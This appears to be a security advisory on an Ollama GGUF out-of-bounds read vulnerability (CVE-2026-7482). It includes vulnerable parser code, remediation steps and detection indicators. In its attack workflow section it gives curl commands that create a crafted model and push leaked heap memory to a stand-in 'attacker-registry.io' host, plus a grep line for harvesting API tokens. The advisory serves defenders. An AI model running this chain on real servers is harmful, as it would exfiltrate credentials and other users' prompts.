Executive Lead: Unauthenticated Memory Exfiltration in Enterprise AI Gateways

A critical vulnerability discovered in Ollama—the widely adopted open-source framework used by developers and enterprise organizations to deploy, manage, and run local Large Language Models (LLMs)—allows unauthenticated remote attackers to harvest sensitive in-memory data from the host inference process. Designated as CVE-2026-7482 and popularized in security research circles as "Bleeding Llama," the flaw carries a maximum severity CVSS v3.1 base score of 9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H).

The vulnerability resides in Ollama's model parser for GGUF (GPT-Generated Unified Format) binary files, specifically during the handling of dynamic model quantization within the /api/create endpoint. When a user uploads a crafted GGUF model artifact containing manipulated tensor dimension headers, the backend model quantization routine reads beyond allocated buffer boundaries on the heap. By chaining this out-of-bounds read with the platform's model export functionality (/api/push), adversaries can exfiltrate multi-megabyte memory dumps containing concurrent user prompts, enterprise system prompts, cloud API tokens, and database credentials without providing credentials.

Technical Root Cause & CWE-125 Dissection: GGUF Tensor Header Memory Desynchronization

GGUF is the binary file specification developed by the llama.cpp ecosystem to store neural network tensor weights, hyperparameters, and tokenization dictionaries in a consolidated single-file format. When Ollama instantiates a new model via a custom Modelfile, it parses the GGUF file structure to validate layer architecture, memory-map tensor data, and apply runtime quantization (such as Q4_K_M or Q8_0).

Under CWE-125: Out-of-bounds Read, the GGUF reader in Ollama versions prior to 0.17.1 relied on metadata fields in the GGUF tensor descriptor table to determine buffer sizes, failing to cross-validate these descriptors against the actual length of the byte stream: 

// Vulnerable GGUF Parsing Logic in Ollama Model Loader
func parseGGUFTensors(r io.Reader, header *GGUFHeader) ([]Tensor, error) {
    tensors := make([]Tensor, header.TensorCount)
    for i := range tensors {
        // DEFECT: Offset and Length are trusted directly from unauthenticated GGUF payload
        tensors[i].Offset = readUint64(r)
        tensors[i].Size = readUint64(r)
        tensors[i].Type = readUint32(r)

        // Missing validation: Does Offset + Size exceed file boundaries or map into adjacent heap?
        // Allocates slice header pointing to unmapped heap region
        buf := make([]byte, tensors[i].Size)
        _, err := r.ReadAt(buf, int64(tensors[i].Offset))
        if err != nil && err != io.EOF {
            return nil, err
        }
        tensors[i].Data = buf
    }
    return tensors, nil
}

During the subsequent quantization step, the Ollama worker process iterates over the tensor buffer. Because the tensor length was forged to extend far beyond the physical file allocation, the loop reads directly through adjacent memory pages on the process heap:

  • Heap Layout Exposure: The process heap contains sensitive artifacts from recent HTTP requests, including HTTP Authorization: Bearer ... headers sent to upstream cloud providers (OpenAI, Anthropic, Cohere), database passwords configured in environment variables, and active conversation contexts from other enterprise users.
  • Artifact Packaging: The out-of-bounds memory bytes are serialized directly into the newly generated model weights file, masquerading as neural network parameters.
  • Remote Exfiltration via Model Registry: The attacker invokes POST /api/push, directing Ollama to upload the freshly synthesized model artifact to a public or attacker-controlled Ollama registry or Hugging Face repository, where the exfiltrated memory blocks can be unpacked and analyzed at leisure.

Attack Mechanics & Weaponization Workflow

Because many enterprise teams deploy Ollama on cloud instances or internal subnets with the environment variable OLLAMA_HOST=0.0.0.0 to allow shared team access, the service frequently exposes port 11434 to untrusted network traffic without authentication. 

# 1. Attacker prepares crafted GGUF file with manipulated tensor dimensions
python3 build_leak_gguf.py --target-leak-bytes 4194304 --output payload.gguf

# 2. Upload model specification to Ollama API
curl -X POST http://ai-gateway.internal.corp:11434/api/create -d '{
  "name": "internal-compliance-audit",
  "modelfile": "FROM ./payload.gguf
PARAMETER temperature 0.7"
}'

# 3. Export model containing exfiltrated heap memory to remote collector
curl -X POST http://ai-gateway.internal.corp:11434/api/push -d '{
  "name": "attacker-registry.io/exfil/dump-01"
}'

Upon downloading the serialized model file from the remote collector, the attacker runs a string extraction script (strings -n 8 dump-01.bin | grep -E "Bearer|sk-|ghp_") to harvest active API tokens and internal system prompt instructions within seconds.

Impacted Releases & Patch Verification Matrix

Distribution Vulnerable Versions Patched Release Remediation Mechanism
Ollama (Docker Container) v0.1.0 through v0.17.0 v0.17.1 or later Update Docker tag to ollama/ollama:0.17.1
Ollama (Linux Binary) < 0.17.1 0.17.1 Download latest standalone binary release
Ollama (macOS / Windows) < 0.17.1 0.17.1 Apply in-app desktop client software update

Remediation Playbook: Securing Local Enterprise AI Deployments

1. Immediate Version Upgrade to v0.17.1

Upgrade all Ollama server instances immediately. Version 0.17.1 enforces strict boundary validation on all GGUF tensor offsets and sizes before memory allocation: 

# Update standalone Linux installation
curl -fsSL https://ollama.com/install.sh | sh

# Verify running version
ollama --version

2. Restrict Network Binding to Localhost

Ensure that Ollama does not bind to all network interfaces (0.0.0.0) unless protected behind an authenticated reverse proxy. Inspect systemd service configurations: 

# Edit Ollama systemd service configuration
sudo systemctl edit ollama.service

# Ensure OLLAMA_HOST is strictly set to loopback
[Service]
Environment="OLLAMA_HOST=127.0.0.1"

# Reload and restart service
sudo systemctl daemon-reload
sudo systemctl restart ollama

3. Deploy Reverse Proxy with Authentication & Disable Model Uploads

If remote developers must access the Ollama instance, place the server behind an Nginx or Envoy proxy enforcing mTLS or bearer token authentication, and strictly block access to the /api/create and /api/push endpoints: 

# Nginx configuration blocking dangerous model manipulation routes
location ~ ^/api/(create|push) {
    deny all;
    return 403 "Model creation and export endpoints are restricted.";
}

location / {
    proxy_pass http://127.0.0.1:11434;
    proxy_set_header Host $host;
}

Forensic Audit Indicators & Telemetry

Telemetry Artifact Log Location Detection Signature
Ollama Server Logs journalctl -u ollama / container stdout POST requests to /api/create referencing custom local GGUF models followed immediately by /api/push
Host Memory Spikes Prometheus / CloudWatch memory metrics Abnormal heap memory read spikes during model creation without corresponding token generation activity
Outbound Egress Traffic Network firewall logs High-volume outbound HTTPS connections on port 443 originating from the Ollama server to unknown external registries